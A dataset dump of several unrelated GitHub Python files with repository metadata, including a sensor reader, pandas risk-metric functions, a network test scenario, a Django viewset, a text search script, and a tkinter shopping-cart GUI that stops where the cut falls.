event_body.get(\"password\"):\n is_accepted = False\n else:\n is_accepted = True\n\n return {\n 'statusCode': 200,\n 'headers': {\n 'Access-Control-Allow-Origin': '*',\n 'Access-Control-Allow-Methods': 'GET',\n 'Access-Control-Allow-Headers': 'Content-Type',\n },\n 'body': json.dumps({\n \"accepted\": str(is_accepted)\n })\n }\n","repo_name":"henrypigg/fibula-aws","sub_path":"resources/lambdas/login_handler.py","file_name":"login_handler.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"33394793442","text":"class DS18B20:\n def __init__(self, adres_1='28-0516a2d372ff', adres_2='28-0316a2ed4eff', adres_3='28-0316a2d7aeff', adres_4='28-0516a2e15dff'):\n self.__Sensor_Adressen = []\n self.__Sensors = []\n if adres_1 != '':\n self.__Sensor_Adressen.append(str(adres_1))\n if adres_2 != '':\n self.__Sensor_Adressen.append(str(adres_2))\n if adres_3 != '':\n self.__Sensor_Adressen.append(str(adres_3))\n if adres_4 != '':\n self.__Sensor_Adressen.append(str(adres_4))\n self.__sensor_Setup()\n\n def __sensor_Setup(self):\n for adres in self.__Sensor_Adressen:\n self.__Sensors.append('/sys/bus/w1/devices/' + str(adres) + '/w1_slave')\n\n def __read_temp_raw(self):\n lines = []\n waarde = []\n counter = 0\n for sensor in self.__Sensors:\n f = open(sensor, 'r')\n waarde.append(f.readlines())\n # print(waarde)\n lines.append(waarde[counter][1])\n # print('read temp raw: ' + str(lines))\n f.close()\n counter += 1\n return lines\n\n def __read_temps(self):\n lines = self.__read_temp_raw()\n temperatuur_list = []\n for data in lines:\n equals_pos = data.find('t=')\n # print('equals pos: ' + str(equals_pos))\n if equals_pos != -1:\n temp = data\n # print('Temp list location: ' + str(i))\n temp = temp[29:34]\n # print('Temp string: ' + str(temp))\n temperatuur_list.append(int(temp) / 1000.0)\n # print('Temp List: ' + str(temperatuur_list))\n return temperatuur_list\n\n def __read_temp_raw_one(self, number=0):\n line = []\n waarde = []\n f = open(self.__Sensors[number], 'r')\n waarde.append(f.readlines())\n line.append(waarde[0][1])\n f.close()\n return line\n\n def read_average_temps(self):\n average = 0\n for i in self.__read_temps():\n average += i\n return round(average / 4, 2)\n\n def read_one_sensor(self, sensor_number=0):\n temperatuur = 0\n line = self.__read_temp_raw_one(sensor_number)\n for data in line:\n equals_pos = data.find('t=')\n if equals_pos != -1:\n temp = data[29:34]\n temperatuur = int(temp) / 1000.0\n\n # equals_pos = line.find('t=')\n # if equals_pos != -1:\n # temp = line[29:34]\n # temperatuur.append(int(temp) / 1000.0)\n return temperatuur\n\n# try:\n# temp_sensors = DS18B20('28-0516a2d372ff', '28-0316a2ed4eff', '28-0316a2d7aeff', '28-0516a2e15dff')\n# while True:\n# print('AVG: ' + str(temp_sensors.read_average_temps()))\n# print('1: '+str(temp_sensors.read_one_sensor(0)))\n# print('2:'+str(temp_sensors.read_one_sensor(1)))\n# print('3:'+str(temp_sensors.read_one_sensor(2)))\n# print('4: '+str(temp_sensors.read_one_sensor(3)))\n# print('\\n')\n# except KeyboardInterrupt:\n# print('\\nSTOPPED')\n","repo_name":"DeLeersnijderYentl/Flask","sub_path":"Flask/static/CLASS_DS18B20.py","file_name":"CLASS_DS18B20.py","file_ext":"py","file_size_in_byte":3108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"19125669695","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @Time : 2021/7/21 下午5:52\n# @Author : CaoV\n# @File : VarStatis.py\n# @Software: PyCharm\n\nimport pandas as pd\nimport numpy as np\n\n\ndef cal_val_apply(data_bin, x, if_pas):\n\n grouped = data_bin.groupby(x)[if_pas]\n result_df = grouped.agg([('apply_cnt', 'count'),\n ('accept_cnt', lambda y: (y == 1).sum()),\n ])\n apply_sum = result_df['apply_cnt'].sum()\n accept_sum = result_df['accept_cnt'].sum()\n\n result_df.loc['总计',:] = result_df.sum(axis= 0)\n result_df['apply_pct'] = result_df['apply_cnt']/apply_sum\n result_df['accept_pct'] = result_df['accept_cnt']/accept_sum\n result_df['accept%'] = result_df['accept_cnt']/result_df['apply_cnt']\n return result_df\n\n\ndef cal_val_target(data_bin, x, target, prefix):\n grouped = data_bin.groupby(x)[target]\n result_df = grouped.agg([('%s_total'%prefix, 'count'),\n ('%s_bad'%prefix, lambda y: (y == 1).sum()),\n ])\n total_sum = result_df['%s_total'%prefix].sum()\n bad_sum = result_df['%s_bad'%prefix].sum()\n total_bad_rate = bad_sum/total_sum\n\n result_df.loc['总计',:] = result_df.sum(axis= 0)\n # result_df['total%'] = result_df['%s_total'%prefix]/total_sum\n # result_df['bad%'] = result_df['%s_bad'%prefix]/bad_sum\n result_df['%s_bad%%'%prefix] = result_df['%s_bad'%prefix]/result_df['%s_total'%prefix]\n result_df['%s_lift'%prefix] = result_df['%s_bad%%'%prefix]/total_bad_rate\n return result_df\n\ndef cal_val_target_amt(data_bin, x, prefix, rep_amt,ovd_amt):\n result_df = data_bin.groupby([x])[[rep_amt,ovd_amt]].sum()\n result_df.columns = ['%s_rep_amt'%prefix, '%s_ovd_amt'%prefix]\n rep_sum = result_df['%s_rep_amt'%prefix].sum()\n ovd_sum = result_df['%s_ovd_amt'%prefix].sum()\n total_bad_rate = ovd_sum/rep_sum\n result_df.loc['总计',:] = result_df.sum(axis= 0)\n result_df['%s_amt_bad%%'%prefix] = result_df['%s_ovd_amt'%prefix]/result_df['%s_rep_amt'%prefix]\n result_df['%s_amt_lift'%prefix] = result_df['%s_amt_bad%%'%prefix]/total_bad_rate\n return result_df\n\n\n\ndef combine_risk_metrics_table(data_bin, if_pas, x, params_list):\n '''\n :param data_bin: dataframe,全量分箱好的样本，包含交易未交易\n :param if_pas: str, 判断是否交易的字段名\n :param x: str,\n :param params_list: list,\n eg:[{'if_mob':'if_mob_d10', 'target': 'flag_1_10', 'ovd_amt':'fst_ovr_due_d10_amt', 'rep_amt':'fst_rep_d10_amt', 'prefix':'FPD10'}\n ,{'if_mob':'if_mob_d30', 'target': 'flag_1_30', 'ovd_amt':'fst_ovr_due_d30_amt', 'rep_amt':'fst_rep_d30_amt', 'prefix':'FPD30'}\n ]\n :return: dataframe\n '''\n\n df_apply = cal_val_apply(data_bin = data_bin, x = x, if_pas = if_pas)\n\n for i, params_dict in enumerate(params_list):\n # 去灰，如果不去灰，后面cal_val_....函数会报错\n data_model_bin = data_bin[(data_bin[params_dict['if_mob']] == 1) & (data_bin[params_dict['target']].isin([0,1]))]\n\n df_target = cal_val_target(data_bin = data_model_bin\n , x = x\n , target = params_dict['target']\n , prefix = params_dict['prefix']\n )\n df_target_amt = cal_val_target_amt(data_bin = data_model_bin\n , x = x\n , rep_amt = params_dict['rep_amt']\n , ovd_amt = params_dict['ovd_amt']\n , prefix = params_dict['prefix']\n )\n if i == 0 :\n df_target_res = pd.concat([df_target, df_target_amt],axis= 1)\n else:\n df_target_res = pd.concat([df_target_res, df_target, df_target_amt],axis= 1)\n\n df_res = pd.concat([df_apply, df_target_res], axis = 1)\n return df_res\n\n\ndef combine_stable_metrics_table(data_bin, tim, x, target, freq):\n '''\n 计算变量时间维度稳定指标\n :param data_bin:\n :param tim:\n :param x:\n :param target:\n :param freq: str, 'M' month or 'Q' quarter\n :return:\n '''\n\n data = data_bin.loc[:, [x, tim, target]]\n\n # check param 'freq'\n try:\n if freq =='M':\n data['by_tim'] = data[tim].str[2:7]\n elif freq == 'Q':\n data[tim] =pd.to_datetime(data[tim])\n data['by_tim'] = data[tim].apply(lambda x: str(x.year)[2:] +'-Q' + str(x.quarter))\n else:\n pass\n except Exception as e:\n ValueError('>>>check param \\'freq\\', use \\'M\\' or \\'Q\\' instead ',e)\n\n # groupby, x col & tim(freq) col\n result_df_tot = pd.pivot_table(data, index= x, columns= 'by_tim', values= target, aggfunc = 'count').fillna(0)\n result_df_bad = pd.pivot_table(data, index= x, columns= 'by_tim', values= target, aggfunc = np.sum).fillna(0)\n\n # cal badrate\n result_df_bad.columns = ['%s_Bad'%col for col in result_df_tot.columns]\n result_df = pd.concat([result_df_bad, result_df_tot], axis = 1)\n result_df.loc['总计',:] = result_df.sum(axis= 0)\n # rename badrate col\n for col in result_df_tot.columns:\n result_df['%s_Bad%%'%col] = result_df['%s_Bad'%col]/(result_df[col])\n # PSI\n result_df_psi = result_df_tot\n for i,col in enumerate(result_df_tot.columns):\n # 把count = 0换成 1 ，避免计算psi时候分母为0的情况\n result_df_psi = result_df_psi.replace(0, 1)\n result_df_psi[col + '_pct'] = result_df_psi[col]/result_df_psi[col].sum()\n if col == result_df_psi.columns[0]:\n pass\n else:\n base_col = col + '_pct'\n comp_col = result_df_psi.columns[i-1] + '_pct'\n result_df_psi[col + '_psi'] = (result_df_psi[base_col] - result_df_psi[comp_col]) * np.log(result_df_psi[base_col] / (result_df_psi[comp_col]))\n\n result_df_psi.loc['总计',:] = result_df_psi.sum(axis= 0)\n # concat groupby table, badrate, psi\n keep_col = [col for col in result_df_psi.columns if 'psi' in col]\n result_df = pd.concat([result_df, result_df_psi.loc[:,keep_col]], axis =1).fillna(0)\n\n return result_df\n\n\n\n\ndef check_target(data,target):\n target_unique = list(data[target].unique())\n target_unique.sort()\n if target_unique == [0,1]:\n pass\n else:\n raise ValueError('>>>There are %d unique value in target: %s, make sure it is binary target'%(len(target_unique), target_unique) )\n\ndef cal_cross_var(data, target, cross_var, cal_pas = False):\n '''\n :param data:\n :param target: str\n :param cross_var: list, eg:['var1','var2']\n :param cal_pas: bool\n :return: dataframe\n '''\n if cal_pas == True:\n prefix = 'Accpt'\n else:\n prefix = 'Bad'\n check_target(data,target)\n df_tot = data.pivot_table(index = cross_var[0], columns = cross_var[1],values= target ,aggfunc='count' ,fill_value=0)\n df_tot.loc[:,'总计'] = df_tot.sum(axis= 1)\n df_bad = data.pivot_table(index = cross_var[0], columns = cross_var[1],values= target ,aggfunc=np.sum ,fill_value=0)\n df_bad.loc[:,'总计'] = df_bad.sum(axis= 1)\n df_bad.columns = ['%s_%s'%(col,prefix) for col in df_bad.columns]\n df_merge = pd.concat([df_tot, df_bad],axis= 1)\n df_merge.loc['总计',:] = df_merge.sum(axis= 0)\n # rename badrate col\n for col in df_tot.columns:\n df_merge['%s_%s%%'%(col,prefix)] = df_merge['%s_%s'%(col,prefix)]/(df_merge[col])\n df_merge.drop(['总计','总计_%s'%(prefix)],axis=1, inplace=True)\n return df_merge\n","repo_name":"Vivian-Chao/strategy_generator","sub_path":"Scripts/VarStatis.py","file_name":"VarStatis.py","file_ext":"py","file_size_in_byte":7647,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"27018051772","text":"from src.custom_test_case import CustomTestCase\nfrom src import nms_api, test_api\nfrom src.enum_types_constants import ControllerModes, Checkbox, StationModes, RouteTypes, RouteIds\n\noptions_path = 'test_scenarios.composite_scenarios.network_up'\nbackup_name = 'default_config.txt'\n\n\nclass BigStarNetCase(CustomTestCase):\n \"\"\"Star network with 20 stations UP case\"\"\"\n\n __author__ = 'dkudryashov'\n __version__ = '0.1'\n __execution_time__ = None # approximate case execution time in seconds\n\n @classmethod\n def set_up_class(cls):\n nms_options = test_api.get_nms()\n nms_api.connect(nms_options.get('nms_ip'), nms_options.get('username'), nms_options.get('password'))\n nms_api.load_config(backup_name)\n test_options = test_api.get_options(options_path)\n\n controllers, stations = test_api.get_uhp_controllers_stations(1, ['UHP200X', ], 20, ['ANY', ])\n\n net = nms_api.create('nms:0', 'network', {'name': 'test_net'})\n tp = nms_api.create(net, 'teleport', {'name': 'test_tp', 'rx1_lo': 0, 'rx2_lo': 0, 'tx_lo': 0})\n mf_hub = nms_api.create(net, 'controller', {\n 'name': 'mf_hub',\n 'mode': ControllerModes.MF_HUB,\n 'teleport': tp,\n 'device_ip': controllers[0].get('device_ip'),\n 'device_vlan': controllers[0].get('device_vlan'),\n 'device_gateway': controllers[0].get('device_gateway'),\n 'uhp_model': controllers[0].get('model'),\n 'tx_on': Checkbox.ON,\n 'tx_level': test_options.get('tx_level'),\n 'stn_number': 21,\n })\n rx1_frq = nms_api.get_param(mf_hub, 'tx_frq')\n rx1_sr = nms_api.get_param(mf_hub, 'tx_sr')\n vno = nms_api.create(net, 'vno', {'name': 'test_vno'})\n\n ser = nms_api.create(net, 'service', {'name': 'local_ser', 'stn_vlan': stations[0].get('device_vlan')})\n for i in range(len(stations)):\n nms_api.create(vno, 'station', {\n 'name': f'stn{i}',\n 'serial': stations[i].get('serial'),\n 'enable': True,\n 'mode': StationModes.STAR,\n 'rx_controller': mf_hub,\n })\n nms_api.create(f'station:{i}', 'route', {\n 'type': RouteTypes.IP_ADDRESS,\n 'service': ser,\n 'ip': stations[i].get('device_ip'),\n 'id': RouteIds.PRIVATE\n })\n nms_api.create(f'station:{i}', 'route', {\n 'type': RouteTypes.STATIC_ROUTE,\n 'service': ser,\n 'ip': '0.0.0.0',\n 'mask': '/0',\n 'gateway': stations[i].get('device_gateway'),\n 'id': RouteIds.PRIVATE\n })\n stations[i].get('web_driver').star_station(params={\n 'rx1_frq': rx1_frq,\n 'rx1_sr': rx1_sr,\n 'tx_level': test_options.get('tx_level'),\n })\n\n controllers[0].get('web_driver').set_nms_permission(vlan=controllers[0].get('device_vlan'), password='')\n if not nms_api.wait_up(mf_hub, timeout=60):\n test_api.error('MF hub is not UP')\n for i in range(len(stations)):\n if not nms_api.wait_up(f'station:{i}', timeout=60):\n test_api.error(f'Station {i+1} is not UP')\n\n def test_big_net(self):\n \"\"\"One line string describing the test method\"\"\"\n self.assertTrue(True)\n","repo_name":"underdark456/test_system","sub_path":"test_scenarios/composite_scenarios/network_up/case_big_star_net.py","file_name":"case_big_star_net.py","file_ext":"py","file_size_in_byte":3436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"33585754025","text":"from rest_framework import viewsets\nfrom api.serializers import AssignmentSerializer\nfrom rest_framework.status import (\n HTTP_201_CREATED,\n HTTP_400_BAD_REQUEST,\n HTTP_200_OK,\n HTTP_500_INTERNAL_SERVER_ERROR\n)\nfrom rest_framework.response import Response\nfrom api.models import Assignment, GradedAssignment\nfrom api.utils import Utils\n\n\nclass AssignmentViewSet(viewsets.ModelViewSet):\n serializer_class = AssignmentSerializer\n queryset = Assignment.objects.all()\n\n def get_queryset(self):\n queryset = Assignment.objects.all()\n if self.request.user.is_student:\n return queryset\n\n user_id = self.request.user.id\n\n if user_id is not None:\n queryset = queryset.filter(teacher__id=user_id)\n\n return queryset\n\n def create(self, request):\n serializer = AssignmentSerializer(data=request.data)\n if serializer.is_valid():\n assignment = serializer.create(request)\n if assignment:\n return Response(status=HTTP_201_CREATED)\n return Response(data=serializer.errors, status=HTTP_400_BAD_REQUEST)\n\n def update(self, request, pk):\n assignment = Assignment.objects.get(id=request.data['id'])\n serializer = AssignmentSerializer(assignment, data=request.data)\n if serializer.is_valid():\n assignment = serializer.update(assignment, request)\n if assignment:\n return Response(status=HTTP_201_CREATED)\n return Response(data=serializer.errors, status=HTTP_400_BAD_REQUEST)\n","repo_name":"siramk/Assignment-Explorer","sub_path":"api/views/assignments.py","file_name":"assignments.py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"24078451968","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Aug 27 14:51:33 2019\r\n\r\n@author: Student\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.optimize import curve_fit\r\n\r\nx = np.linspace(-15, 15, 10)\r\ny = 2*x + 2\r\ny2 = -0.5*x + 2 #Perpendicular Slope to 2x is -0.5\r\n\r\nplt.plot(x, y, color = \"green\", label = \"y = 2x + 2\")\r\nplt.plot(x, y2, color = \"red\", label = \"y = -0.5x + 2\")\r\naxes = plt.gca()\r\naxes.set_aspect(aspect = \"equal\")\r\naxes.set_xlim([-15, 15])\r\nplt.xlabel(\"x\")\r\nplt.ylabel(\"y\")\r\nplt.show()\r\n\r\nx = np.linspace(-5, 5, 10)\r\ny = x**2\r\nplt.plot(x, y, color = \"green\", label = \"y = x^2\")\r\n","repo_name":"mjyb16/520-Codes","sub_path":"linearplot.py","file_name":"linearplot.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"36909883775","text":"from __future__ import print_function\nimport time\n\n#start time measure\nstart_time = time.time()\n\n#our function that finds matches in a given article using only indexing\ndef everything(index_list, word_list, num_list):\n\t#define all variables we need to use\n\tindex = 0\n\tindices = [0] * len(index_list)\n\tnum_of_lists = len(index_list) - 1\n\tnum_of_words = [len(y) - 1 for y in index_list]\n\tdone = False\n\tresults = []\n\t\n\t#we want to keep looping until we have checked all possible matches\n\twhile not done:\n\t\t#simple, try...except here for debugging purposes\n\t\ttry:\n\t\t\t#the way we do this is by checking the distance between words number index and index + 1 and see if that matches\n\t\t\t#the given interval from numlist\n\n\t\t\t#here we compare the two neighbouring values and we either:\n\t\t\tif (num_list[index][0]) <= (index_list[index+1][indices[index+1]] - len(word_list[index]) - index_list[index][indices[index]]) <= (num_list[index][1]):\n\t\t\t\t#The latter word is the last word in the list: We gather the result and start again\n\t\t\t\tif index + 1 == num_of_lists:\n\t\t\t\t\tresults.append(((index_list[0][indices[0]]), (index_list[index+1][indices[index+1]]+len(word_list[index+1])) ))\n\t\t\t\t\t#we need to make sure to leave all lists and indexes in the correct state before beginning again\n\t\t\t\t\t#we therefore loop through all indices and check them if they need to be changed or incremented\n\t\t\t\t\t#and likewise to which point we should move the index\n\t\t\t\t\tfor j in range(num_of_lists,-1,-1):\n\t\t\t\t\t\tif indices[j] < num_of_words[j]:\n\t\t\t\t\t\t\tindices[j] += 1\n\t\t\t\t\t\t\tif j == 0:\n\t\t\t\t\t\t\t\tindex = 0\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tindex = j-1\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tif j == 0:\n\t\t\t\t\t\t\t\t#flip the flag\n\t\t\t\t\t\t\t\tdone = True\n\t\t\t\t\t\t\t\t#we are finished\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\tindices[j] = 0\n\t\t\t\t#The latter word is not the last word: We then check the next two values (increment index)\n\t\t\t\telse:\n\t\t\t\t\tindex += 1\n\t\t\t\t\t \n\t\t\telse:\n\t\t\t\t#The index for the latter word is the last index for that word in the article\n\t\t\t\tif indices[index+1] == num_of_words[index+1]:\n\t\t\t\t\t#The index for the first word is the last index for that word in the article\n\t\t\t\t\tif indices[index] == num_of_words[index]:\n\t\t\t\t\t\t#we need to make sure to leave all lists and indexes in the correct state before beginning again\n\t\t\t\t\t\t#we therefore loop through all indices and check them if they need to be changed or incremented\n\t\t\t\t\t\t#and likewise to which point we should move the index\n\t\t\t\t\t\tfor j in range(index+1,-1,-1):\n\t\t\t\t\t\t\tif indices[j] < num_of_words[j]:\n\t\t\t\t\t\t\t\tindices[j] += 1\n\t\t\t\t\t\t\t\tif j == 0:\n\t\t\t\t\t\t\t\t\tindex = 0\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tindex = j-1\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tif j == 0:\n\t\t\t\t\t\t\t\t\t#flip the flag\n\t\t\t\t\t\t\t\t\tdone = True\n\t\t\t\t\t\t\t\t\t#we are finished\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\tindices[j] = 0\n\t\t\t\t\telse:\n\t\t\t\t\t\t\t#we increment the first word and reset the latter word and move the index one step back\n\t\t\t\t\t\t\tindices[index+1] = 0\n\t\t\t\t\t\t\tindices[index] += 1\n\t\t\t\t\t\t\t#if we are at the first word we don't need to move the index\n\t\t\t\t\t\t\tif index == 0:\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tindex -= 1\n\t\t\t\telse:\n\t\t\t\t\t#we increment the index of the latter word\n\t\t\t\t\tindices[index+1] += 1\n\n\t\t#catch out of index errors for debugging\n\t\texcept IndexError:\n\t\t\t#for debugging purposes\n\t\t\timport pdb; pdb.set_trace()\n\t#return the results we no exact duplicates\n\treturn set(results)\n\n\n#this string to your search pattern\nstring_input = '\"first\" [0,85] \"letter\" [0,100] \"alphabet\" [0, 200] \"consonant\"'\n\n#parse the search pattern\nlist_of_words = string_input.split('\"')\nfinal = [x for x in list_of_words if len(x) and '[' not in x]\ncounter = 0\nfinal_nums = [x for x in list_of_words if len(x) and '[' in x]\nfinal_nums = [x.replace(' ', '') for x in final_nums]\nfinal_nums = [x.replace('[', '') for x in final_nums]\nfinal_nums = [x.replace(']', '') for x in final_nums]\nfinal_nums = [x.split(',') for x in final_nums]\nfor list_of_num in range(len(final_nums)):\n\tfor nums in range(len(final_nums[list_of_num])):\n\t\tfinal_nums[list_of_num][nums] = int(final_nums[list_of_num][nums])\n\n#here we will gather the results\nquery_res = []\n\n#specify file to search in\nwith open('clean_a_articles.txt') as f_input:\n\t#loop through the lines(articles)\n\tfor line_1 in f_input:\n\t\t#we first check if the line has all the words we search for\n\t\t#if not we just go straight to the next line(article)\n\t\tif all(x in line_1 for x in final):\n\t\t\tlist_of_lists = []\n\t\t\t#we need the right character encoding\n\t\t\tline = line_1.decode('utf-8')\n\t\t\t#here we loop through the words and gather the indexes\n\t\t\t#of all occurences of all words\n\t\t\tfor i in final:\n\t\t\t\tstart = 0\n\t\t\t\tresult = []\n\t\t\t\twhile True:\n\t\t\t\t\tstart = line.find(i, start)\n\t\t\t\t\tif start == -1: break\n\t\t\t\t\tresult.append(start)\n\t\t\t\t\tstart += len(i)\n\t\t\t\tlist_of_lists.append(result)\n\n\t\t\t#this is simply used to count the articles we found matches in\n\t\t\tlen_before = len(query_res)\n\n\t\t\t#here we call the function that does all the heavy lifting\n\t\t\tsub_result = everything(list_of_lists, final, final_nums)\n\t\t\t#if we got any matches we append them to the query_res\n\t\t\tif sub_result:\n\t\t\t\t[query_res.append(line[x[0]:x[1]].encode('utf-8')) for x in sub_result]\n\t\t\t\n\t\t\t#again using the length of the end result to count number of results\n\t\t\tif(len_before < len(query_res)):\n\t\t\t\tcounter += 1\n#print matches and resulst\nprint(len(query_res))\nprint(counter)\n#uncomment next two lines to see actual matches\n#for i in query_res:\n\t#print(i)\n\n#stop measuring time\nend = time.time()\n\n#print runtime\nprint('Run time: ' + str(end-start_time))","repo_name":"ringoda/challenge_1","sub_path":"third_test.py","file_name":"third_test.py","file_ext":"py","file_size_in_byte":5487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"16137892169","text":"import re\nimport pathlib\nfrom setuptools import setup, find_packages\n\n# project dirs \npackage_source = pathlib.Path(\"tgjson\")\n\nwith open(\"requirements.txt\", encoding=\"utf-8\") as f:\n requirements = f.read().splitlines()\n\nVERSION_FILE = package_source/\"__init__.py\"\ngetversion = re.search(r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\", open(VERSION_FILE, \"rt\").read(), re.M)\nif getversion:\n new_version = getversion.group(1)\nelse:\n raise RuntimeError(f\"Unable to find version string in {VERSION_FILE}.\")\n\nsetup(\n name='tgjson',\n version=new_version, \n description='A example Python package',\n url='https://github.com/ffernandoalves/tgjson',\n author='Fernando Ribeiro Alves',\n author_email='fernandoribeiro889@gmail.com',\n license='MIT',\n packages=find_packages(),\n install_requires=requirements,\n keywords=[\"json\", \"pyrogram\"],\n python_requires='>=3.10',\n classifiers=[\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3.10',\n 'Programming Language :: Python :: 3.11',\n ],\n)","repo_name":"ffernandoalves/tgjson","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"39176281499","text":"#!/usr/bin/env python3\r\nimport db\r\nimport tkinter as tk\r\nfrom tkinter import ttk\r\nimport locale\r\nfrom business import Product, LineItem, Cart\r\nimport shopping_cart\r\n\r\nclass shoppingIndex(ttk.Frame):\r\n def __init__(self, parent):\r\n ttk.Frame.__init__(self, parent, padding=\"10 10 10 10\")\r\n self.parent = parent\r\n self.product = Product()\r\n\r\n # Set locale\r\n result = locale.setlocale(locale.LC_ALL, '')\r\n if result == 'C':\r\n locale.setlocale(locale.LC_ALL, 'en_US')\r\n\r\n # Define string variables for text entry fields\r\n self.product0 = tk.StringVar()\r\n self.product1 = tk.StringVar()\r\n self.product2 = tk.StringVar()\r\n self.product3 = tk.StringVar()\r\n self.product4 = tk.StringVar()\r\n self.product5 = tk.StringVar()\r\n self.product6 = tk.StringVar()\r\n self.product7 = tk.StringVar()\r\n self.product8 = tk.StringVar()\r\n self.product9 = tk.StringVar()\r\n self.product10 = tk.StringVar()\r\n self.product11 = tk.StringVar()\r\n self.product12 = tk.StringVar()\r\n self.product13 = tk.StringVar()\r\n\r\n self.initComponents()\r\n\r\n\r\n def initComponents(self):\r\n self.pack()\r\n\r\n # Display the grid of labels and text entry fields\r\n ttk.Label(self, text=\"Cucumber:\").grid(\r\n column=0, row=0, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product0).grid(\r\n column=1, row=0)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=0, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"Gherkins:\").grid(\r\n column=0, row=1, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product1).grid(\r\n column=1, row=1)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=1, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"Cornichon:\").grid(\r\n column=0, row=2, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product2).grid(\r\n column=1, row=2)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=2, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"Brined pickles:\").grid(\r\n column=0, row=3, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product3).grid(\r\n column=1, row=3)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=3, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"Kosher Dill:\").grid(\r\n column=0, row=4, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product4).grid(\r\n column=1, row=4)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=4, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"Dill:\").grid(\r\n column=0, row=5, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product5).grid(\r\n column=1, row=5)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=5, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"Lime Pickles:\").grid(\r\n column=0, row=6, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product6).grid(\r\n column=1, row=6)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=6, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"Bread-and-butter Pickles:\").grid(\r\n column=0, row=7, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product7).grid(\r\n column=1, row=7)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=7, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"cinnamon pickles:\").grid(\r\n column=0, row=8, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product8).grid(\r\n column=1, row=8)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=8, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"pressgurka:\").grid(\r\n column=0, row=9, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product9).grid(\r\n column=1, row=9)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=9, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"kool-aid pickles (i swear this is a real thing):\").grid(\r\n column=0, row=10, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product10).grid(\r\n column=1, row=10)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=10, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"Pickle:\").grid(\r\n column=0, row=11, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product11).grid(\r\n column=1, row=11)\r\n ttk.Label(self, text=\"$2.99\").grid(\r\n column=3, row=11, sticky=tk.E)\r\n\r\n ttk.Label(self, text=\"Cart total:\").grid(\r\n column=0, row=12, sticky=tk.E)\r\n ttk.Entry(self, width=25, textvariable=self.product12).grid(\r\n column=1, row=12)\r\n ttk.Entry(self, width=25, textvariable=self.product13).grid(\r\n column=2, row=12)\r\n\r\n self.makeButtons()\r\n\r\n\r\n\r\n for child in self.winfo_children():\r\n child.grid_configure(padx=5, pady=3)\r\n\r\n def makeButtons(self):\r\n # Create a frame to store the two buttons\r\n buttonFrame = ttk.Frame(self)\r\n\r\n # Add the button frame to the bottom row of the main grid\r\n buttonFrame.grid(column=4, row=12, columnspan=1, sticky=tk.E)\r\n\r\n # Add two buttons to the button frame\r\n ttk.Button(buttonFrame, text=\"Add to Cart\",) \\\r\n .grid(column=0, row=0, padx=5)\r\n\r\n def checkout(self):\r\n\r\n 